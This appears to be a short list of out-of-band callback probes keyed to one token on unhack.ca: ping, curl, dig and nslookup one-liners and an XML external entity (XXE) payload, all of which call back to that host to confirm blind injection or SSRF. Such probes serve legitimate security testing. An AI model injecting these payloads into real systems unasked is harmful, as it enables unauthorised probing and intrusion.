$ ping -c1 -p 0020184f012403ec1c51238865060c00 unhack.ca
 

$ curl http://unhack.ca/p/20184f012403ec1c51238865060c
 

$ dig 20184f012403ec1c51238865060c @unhack.ca
 

$ dig 20184f012403ec1c51238865060c.ns.unhack.ca
 

C:\> nslookup 20184f012403ec1c51238865060c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/20184f012403ec1c51238865060c">]>
    <foo>&xxe;</foo>